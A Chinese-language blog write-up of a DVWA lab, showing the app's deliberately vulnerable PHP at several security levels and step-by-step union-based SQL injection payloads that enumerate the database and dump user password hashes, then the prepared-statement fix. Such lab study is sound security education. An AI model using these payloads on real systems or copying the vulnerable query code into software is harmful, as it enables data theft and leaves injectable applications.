C1imber's Blog

dvwa sql injection

字数统计: 2.2k阅读时长: 11 min
2017/12/24 Share

dvwa sql注入

sql注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,获取数据库中的信息

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口

low级别

代码如下

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可见直接将id带入数据库查询,注入点在id上

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

先来手注一下试试,注入的方法很多,常见的有union注入,报错注入(之前的文章有总结报错注入,有兴趣可以去看),基于布尔的盲注,基于时间的盲注等方法,在这里我们用union注入,首先在id后加单引号,报错,说明可能存在注入
mark
接下来用order by猜列数,因为union查询要求前后字段数一致,可以看出order by 2页面正常,order by 3页面报错

payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' order by 2%23&Submit=Submit#

页面正常
mark
payload

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' order by 3%23&Submit=Submit#

报出Unknown column '3' in 'order clause'的错误
mark
接着输入

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2%23&Submit=Submit#

作用是为了判断查询结果输出的位置,and 1=2使前面的语句查询为空,只显示union select后的结果,可以看出查询结果的位置在First name:和Surname:后面
mark
接下来判断当前数据库,用户,数据库版本,语句如下

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select database(),2%23&Submit=Submit#

当前数据库名为dvwa
mark

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select user(),2%23&Submit=Submit#

用户为root@localhost
mark

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select version(),2%23&Submit=Submit#

版本为5.0.51b-community-nt
mark
information_schema是mysql5.0版本后出现的虚拟库,接下来使用information_schema数据库查询所有数据库名,语句为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(schema_name),2 from information_schema.schemata%23&Submit=Submit#

mark
接下来查询当前数据库下的所有表,语句为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23&Submit=Submit#

mark
查询users表下的所有列名,语句为

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='users'%23&Submit=Submit#

mark
接下来查询users表下user和password中的内容,获取所有dvwa用户的登陆用户名和密码hash值

http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(user,0x3a,password),2 from users%23&Submit=Submit#

mark
hash值可以在somd5上解密

medium级别

代码如下

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row($result);
$number_of_rows=$number_of_rows[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

可看出将$_POST[ ‘id’ ]直接带入数据库查询,同时对id参数用mysqli_real_escape_string函数进行了特殊字符转义,官网描述的是

Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.

这次将参数id以post方式提交至服务器,注入点为post提交的id参数

提交请求,抓包,发送至Repeater
mark
注入点在id参数上,注入方法和之前的get参数注入方式一样用union注入

在参数1后加单引号,报错说明可能存在注入,唯一不同的是我们的单引号被\转义
mark
获取当前数据库下所有表名
mark
获取users表下所有列名,由于单引号被转移,所以要对users进行16进制编码0x7573657273
mark
最终获取所有dvwa所有用户名密码的payload

POST /DVWA-master/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.50.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Referer: http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/
Cookie: security=medium; PHPSESSID=391dtb6pnltant1m10u62tag52
Connection: keep-alive
Upgrade-Insecure-Requests: 1

id=1 and 1=2 union select group_concat(user,0x3a,password),2 from users&Submit=Submit

mark

high级别

代码如下

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

可以看到将$_SESSION[ 'id' ]带入数据库查询,session文件默认存放在服务器web目录的tmp目录下
我们看看$_SESSION[ 'id' ]从何处来,点击 Click here to change your ID. 处理我们提交参数的是session-input.php,代码如下

<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );

$page = dvwaPageNewGrab();
$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];

if( isset( $_POST[ 'id' ] ) ) {
    $_SESSION[ 'id' ] =  $_POST[ 'id' ];
    //$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
    $page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
    $page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}

$page[ 'body' ] .= "
<form action=\"#\" method=\"POST\">
<input type=\"text\" size=\"15\" name=\"id\">
<input type=\"submit\" name=\"Submit\" value=\"Submit\">
</form>
<hr />
<br />

<button onclick=\"self.close();\">Close</button>";

dvwaSourceHtmlEcho( $page );

?>

代码将我们的输入的id参数根据PHPSESSID将$_POST[ 'id' ]赋值给$_SESSION[ 'id' ]存放在tmp目录下的对应的session文件中,并且刷新页面带上PHPSESSID,然后high.php根据PHPSESSID将对应tmp下的session文件中的$_SESSION[ 'id' ]带入数据库查询

所以可看出注入点实际上还是在我们提交的$_POST[ 'id' ]
最终我们抓包修改id参数获取dvwa所有用户名密码payload

POST /DVWA-master/vulnerabilities/sqli/session-input.php HTTP/1.1
Host: 192.168.50.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Referer: http://192.168.50.128:8080/DVWA-master/vulnerabilities/sqli/session-input.php
Cookie: security=high; PHPSESSID=391dtb6pnltant1m10u62tag52
Connection: keep-alive
Upgrade-Insecure-Requests: 1

id=1' and 1=2 union select group_concat(user,0x3a,password),2 from users#&Submit=Submit

mark
可以看出我们的payload已经写入到了服务器的session文件sess_391dtb6pnltant1m10u62tag52
mark
然后将我们session文件中的payload带入数据库查询,获取所有用户名和密码hash值
mark

impossible级别

代码如下

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

CATALOG
  1. 1. dvwa sql注入
    1. 1.0.1. sql注入
    2. 1.0.2. 测试环境
    3. 1.0.3. low级别
    4. 1.0.4. medium级别
    5. 1.0.5. high级别
    6. 1.0.6. impossible级别